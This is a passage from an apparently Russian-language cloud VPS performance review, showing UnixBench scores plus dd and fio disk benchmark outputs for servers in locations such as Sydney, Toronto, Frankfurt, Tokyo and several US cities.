Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: AMD EPYC 7601 32-Core Processor (4400.0 bogomips)
x86-64, MMX, AMD MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
12:37:25 up 4 min, 1 user, load average: 0.59, 0.26, 0.10; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 12 2019 12:37:25 - 13:05:28
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 28849705.0 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4265.4 MWIPS (9.7 s, 7 samples)
Execl Throughput 3989.7 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 764588.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 214230.9 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1826179.5 KBps (30.0 s, 2 samples)
Pipe Throughput 1533597.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 202033.0 lps (10.0 s, 7 samples)
Process Creation 11268.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7998.9 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1012.8 lpm (60.0 s, 2 samples)
System Call Overhead 2192009.9 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 28849705.0 2472.1
Double-Precision Whetstone 55.0 4265.4 775.5
Execl Throughput 43.0 3989.7 927.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 764588.9 1930.8
File Copy 256 bufsize 500 maxblocks 1655.0 214230.9 1294.4
File Copy 4096 bufsize 8000 maxblocks 5800.0 1826179.5 3148.6
Pipe Throughput 12440.0 1533597.7 1232.8
Pipe-based Context Switching 4000.0 202033.0 505.1
Process Creation 126.0 11268.5 894.3
Shell Scripts (1 concurrent) 42.4 7998.9 1886.5
Shell Scripts (8 concurrent) 6.0 1012.8 1688.1
System Call Overhead 15000.0 2192009.9 1461.3
========
System Benchmarks Index Score 1348.9
```
**dd (Австралия, Сидней)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 1.84047 s, 1.2 GB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 1.70147 s, 1.3 GB/s
```
**dd (Канада, Торонто)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.06427 s, 1.0 GB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.03386 s, 1.1 GB/s
```
**dd (Германия, Франкфурт)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.23042 s, 963 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.02314 s, 1.1 GB/s
```
**dd (Индия, Мумбаи)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 1.87866 s, 1.1 GB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 1.79076 s, 1.2 GB/s
```
**dd (Япония, Токио)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.3769 s, 903 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.4095 s, 891 MB/s
```
**dd (Сингапур)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.31406 s, 928 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.32339 s, 924 MB/s
```
**dd (Великобритания, Лондон)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.40905 s, 891 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.72641 s, 788 MB/s
```
**dd (США, Атланта)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.98208 s, 720 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 24.2335 s, 88.6 MB/s
```
**dd (США, Даллас)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.42872 s, 884 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.36519 s, 638 MB/s
```
**dd (США, Фримонт)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.50491 s, 857 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.53728 s, 846 MB/s
```
**dd (США, Ньюарк)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.13085 s, 1.0 GB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.08892 s, 695 MB/s
```
**fio (Австралия, Сидней)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8604: Mon Dec 16 03:24:20 2019
read : io=6755.1MB, bw=115299KB/s, iops=28824, runt= 60001msec
clat (usec): min=0, max=100545, avg=274.82, stdev=569.86
lat (usec): min=1, max=100545, avg=275.21, stdev=569.86
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 169], 20.00th=[ 197],
| 30.00th=[ 211], 40.00th=[ 223], 50.00th=[ 237], 60.00th=[ 255],
| 70.00th=[ 294], 80.00th=[ 354], 90.00th=[ 446], 95.00th=[ 540],
| 99.00th=[ 740], 99.50th=[ 804], 99.90th=[ 1944], 99.95th=[ 2352],
| 99.99th=[13760]
bw (KB /s): min= 6472, max=21216, per=12.51%, avg=14418.69, stdev=2131.98
lat (usec) : 2=2.23%, 4=5.07%, 10=0.30%, 20=0.16%, 50=0.03%
lat (usec) : 100=0.02%, 250=49.90%, 500=35.60%, 750=5.76%, 1000=0.73%
lat (msec) : 2=0.11%, 4=0.08%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=0.90%, sys=6.29%, ctx=1609714, majf=2, minf=104
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1729514/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6755.1MB, aggrb=115299KB/s, minb=115299KB/s, maxb=115299KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1593629/10, merge=136/5, ticks=403736/0, in_queue=403412, util=99.03%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8633: Mon Dec 16 03:26:23 2019
write: io=37600MB, bw=641604KB/s, iops=160400, runt= 60009msec
clat (usec): min=1, max=138933, avg=36.00, stdev=698.17
lat (usec): min=1, max=138933, avg=38.40, stdev=740.72
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 1], 10.00th=[ 1], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 2], 80.00th=[ 2], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 4], 99.50th=[ 113], 99.90th=[11712], 99.95th=[16064],
| 99.99th=[27008]
bw (KB /s): min= 1, max=103354, per=12.62%, avg=80945.26, stdev=7323.10
lat (usec) : 2=10.82%, 4=88.07%, 10=0.29%, 20=0.13%, 50=0.13%
lat (usec) : 100=0.05%, 250=0.03%, 500=0.04%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.04%, 4=0.05%, 10=0.15%, 20=0.10%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.46%, sys=7.39%, ctx=100753, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9625502/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=37600MB, aggrb=641603KB/s, minb=641603KB/s, maxb=641603KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
sda: ios=172/3092395, merge=31/1341, ticks=4/5409372, in_queue=5404936, util=70.18%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8617: Mon Dec 16 03:25:23 2019
read : io=6485.6MB, bw=110683KB/s, iops=27670, runt= 60002msec
clat (usec): min=61, max=579406, avg=286.37, stdev=809.14
lat (usec): min=61, max=579406, avg=286.76, stdev=809.14
clat percentiles (usec):
| 1.00th=[ 155], 5.00th=[ 175], 10.00th=[ 185], 20.00th=[ 201],
| 30.00th=[ 213], 40.00th=[ 223], 50.00th=[ 237], 60.00th=[ 255],
| 70.00th=[ 294], 80.00th=[ 350], 90.00th=[ 438], 95.00th=[ 524],
| 99.00th=[ 708], 99.50th=[ 772], 99.90th=[ 900], 99.95th=[ 964],
| 99.99th=[22144]
bw (KB /s): min= 2889, max=15576, per=12.51%, avg=13846.49, stdev=1486.54
lat (usec) : 100=0.03%, 250=57.83%, 500=36.15%, 750=5.33%, 1000=0.63%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%, 750=0.01%
cpu : usr=0.93%, sys=5.87%, ctx=1664165, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1660305/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6485.6MB, aggrb=110683KB/s, minb=110683KB/s, maxb=110683KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1659424/20, merge=317/15, ticks=421880/0, in_queue=421648, util=99.87%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8646: Mon Dec 16 03:27:23 2019
write: io=1930.2MB, bw=32955KB/s, iops=8238, runt= 60001msec
clat (usec): min=66, max=66656, avg=968.12, stdev=6325.23
lat (usec): min=67, max=66656, avg=968.51, stdev=6325.24
clat percentiles (usec):
| 1.00th=[ 77], 5.00th=[ 79], 10.00th=[ 80], 20.00th=[ 83],
| 30.00th=[ 87], 40.00th=[ 90], 50.00th=[ 92], 60.00th=[ 94],
| 70.00th=[ 96], 80.00th=[ 103], 90.00th=[ 306], 95.00th=[ 346],
| 99.00th=[48384], 99.50th=[49920], 99.90th=[50944], 99.95th=[50944],
| 99.99th=[53504]
bw (KB /s): min= 2736, max= 5424, per=12.51%, avg=4121.09, stdev=523.74
lat (usec) : 100=76.13%, 250=10.66%, 500=11.42%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.36%
lat (msec) : 100=0.42%
cpu : usr=0.30%, sys=2.13%, ctx=997805, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=494335/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1930.2MB, aggrb=32955KB/s, minb=32955KB/s, maxb=32955KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=50/493789, merge=157/1755, ticks=40/49980, in_queue=49936, util=83.16%
```
**fio (Канада, Торонто)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15535: Sat Dec 14 00:12:44 2019
read : io=7105.6MB, bw=121265KB/s, iops=30316, runt= 60001msec
clat (usec): min=0, max=1003.9K, avg=260.89, stdev=940.50
lat (usec): min=1, max=1003.9K, avg=261.29, stdev=940.50
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 161], 20.00th=[ 189],
| 30.00th=[ 203], 40.00th=[ 215], 50.00th=[ 227], 60.00th=[ 245],
| 70.00th=[ 278], 80.00th=[ 326], 90.00th=[ 406], 95.00th=[ 482],
| 99.00th=[ 708], 99.50th=[ 828], 99.90th=[ 2288], 99.95th=[ 2704],
| 99.99th=[14400]
bw (KB /s): min= 3942, max=21760, per=12.53%, avg=15190.66, stdev=1907.96
lat (usec) : 2=3.64%, 4=3.76%, 10=0.34%, 20=0.12%, 50=0.01%
lat (usec) : 100=0.05%, 250=53.79%, 500=34.02%, 750=3.49%, 1000=0.50%
lat (msec) : 2=0.12%, 4=0.14%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 2000=0.01%
cpu : usr=1.05%, sys=7.07%, ctx=1681777, majf=2, minf=98
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1819009/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7105.6MB, aggrb=121265KB/s, minb=121265KB/s, maxb=121265KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1671621/10, merge=144/5, ticks=385432/0, in_queue=385092, util=98.64%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15561: Sat Dec 14 00:14:47 2019
write: io=34626MB, bw=590888KB/s, iops=147722, runt= 60007msec
clat (usec): min=1, max=110371, avg=38.56, stdev=740.93
lat (usec): min=1, max=110371, avg=41.20, stdev=786.70
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 1], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 2], 80.00th=[ 2], 90.00th=[ 2], 95.00th=[ 3],
| 99.00th=[ 4], 99.50th=[ 155], 99.90th=[12608], 99.95th=[17280],
| 99.99th=[28032]
bw (KB /s): min= 1, max=93867, per=12.62%, avg=74551.39, stdev=7277.00
lat (usec) : 2=7.80%, 4=91.03%, 10=0.34%, 20=0.07%, 50=0.08%
lat (usec) : 100=0.12%, 250=0.08%, 500=0.03%, 750=0.03%, 1000=0.03%
lat (msec) : 2=0.04%, 4=0.05%, 10=0.14%, 20=0.11%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.88%, sys=6.88%, ctx=91744, majf=0, minf=76
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=8864358/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=34626MB, aggrb=590888KB/s, minb=590888KB/s, maxb=590888KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
sda: ios=172/2770808, merge=31/1461, ticks=4/5007316, in_queue=5002336, util=67.08%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15548: Sat Dec 14 00:13:47 2019
read : io=6997.4MB, bw=119417KB/s, iops=29854, runt= 60002msec
clat (usec): min=51, max=1008.4K, avg=264.70, stdev=1211.12
lat (usec): min=52, max=1008.4K, avg=265.16, stdev=1211.12
clat percentiles (usec):
| 1.00th=[ 79], 5.00th=[ 139], 10.00th=[ 165], 20.00th=[ 185],
| 30.00th=[ 199], 40.00th=[ 211], 50.00th=[ 223], 60.00th=[ 241],
| 70.00th=[ 270], 80.00th=[ 322], 90.00th=[ 398], 95.00th=[ 478],
| 99.00th=[ 716], 99.50th=[ 788], 99.90th=[ 1032], 99.95th=[ 1320],
| 99.99th=[ 9536]
bw (KB /s): min= 391, max=23312, per=12.54%, avg=14972.94, stdev=1899.15
lat (usec) : 100=2.50%, 250=61.34%, 500=31.96%, 750=3.47%, 1000=0.61%
lat (msec) : 2=0.09%, 4=0.01%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 2000=0.01%
cpu : usr=1.09%, sys=6.67%, ctx=1822378, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1791317/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6997.4MB, aggrb=119417KB/s, minb=119417KB/s, maxb=119417KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1787341/10, merge=136/5, ticks=397456/0, in_queue=397140, util=99.63%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15574: Sat Dec 14 00:15:48 2019
write: io=2134.7MB, bw=36430KB/s, iops=9107, runt= 60003msec
clat (usec): min=64, max=143251, avg=875.05, stdev=5614.52
lat (usec): min=65, max=143252, avg=875.49, stdev=5614.53
clat percentiles (usec):
| 1.00th=[ 70], 5.00th=[ 71], 10.00th=[ 73], 20.00th=[ 75],
| 30.00th=[ 77], 40.00th=[ 80], 50.00th=[ 82], 60.00th=[ 86],
| 70.00th=[ 91], 80.00th=[ 104], 90.00th=[ 233], 95.00th=[ 306],
| 99.00th=[40192], 99.50th=[44288], 99.90th=[46848], 99.95th=[48384],
| 99.99th=[61184]
bw (KB /s): min= 2576, max= 6080, per=12.51%, avg=4556.05, stdev=585.26
lat (usec) : 100=78.06%, 250=13.06%, 500=6.91%, 750=0.05%, 1000=0.03%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.84%
lat (msec) : 100=0.03%, 250=0.01%
cpu : usr=0.40%, sys=2.49%, ctx=1103528, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=546471/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2134.7MB, aggrb=36429KB/s, minb=36429KB/s, maxb=36429KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=179/545918, merge=322/1528, ticks=408/47584, in_queue=47876, util=79.18%
```
**fio (Германия, Франкфурт)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5708: Sun Dec 15 19:34:11 2019
read : io=7256.2MB, bw=123836KB/s, iops=30959, runt= 60001msec
clat (usec): min=1, max=928516, avg=255.21, stdev=866.57
lat (usec): min=1, max=928516, avg=255.62, stdev=866.58
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 145], 20.00th=[ 191],
| 30.00th=[ 209], 40.00th=[ 221], 50.00th=[ 235], 60.00th=[ 251],
| 70.00th=[ 274], 80.00th=[ 310], 90.00th=[ 366], 95.00th=[ 426],
| 99.00th=[ 692], 99.50th=[ 804], 99.90th=[ 2736], 99.95th=[ 3376],
| 99.99th=[13376]
bw (KB /s): min= 3947, max=28312, per=12.53%, avg=15518.60, stdev=2109.24
lat (usec) : 2=2.34%, 4=5.09%, 10=0.35%, 20=0.17%, 50=0.03%
lat (usec) : 100=0.48%, 250=51.00%, 500=37.75%, 750=2.13%, 1000=0.36%
lat (msec) : 2=0.09%, 4=0.19%, 10=0.02%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 1000=0.01%
cpu : usr=1.06%, sys=7.27%, ctx=1732810, majf=2, minf=96
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1857571/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7256.2MB, aggrb=123836KB/s, minb=123836KB/s, maxb=123836KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1707687/10, merge=136/5, ticks=380524/0, in_queue=380068, util=98.56%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5737: Sun Dec 15 19:36:15 2019
write: io=32623MB, bw=556695KB/s, iops=139173, runt= 60007msec
clat (usec): min=1, max=84101, avg=41.66, stdev=765.39
lat (usec): min=1, max=84101, avg=44.37, stdev=811.18
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 2], 80.00th=[ 2], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 7], 99.50th=[ 306], 99.90th=[12992], 99.95th=[17280],
| 99.99th=[28288]
bw (KB /s): min= 1, max=95040, per=12.63%, avg=70283.71, stdev=7683.83
lat (usec) : 2=4.00%, 4=94.50%, 10=0.53%, 20=0.11%, 50=0.19%
lat (usec) : 100=0.10%, 250=0.05%, 500=0.03%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.04%, 4=0.05%, 10=0.15%, 20=0.12%, 50=0.03%
lat (msec) : 100=0.01%
cpu : usr=1.62%, sys=6.95%, ctx=93483, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=8351405/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=32623MB, aggrb=556695KB/s, minb=556695KB/s, maxb=556695KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
sda: ios=172/2732266, merge=31/1355, ticks=144/5451696, in_queue=5446676, util=71.80%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5721: Sun Dec 15 19:35:14 2019
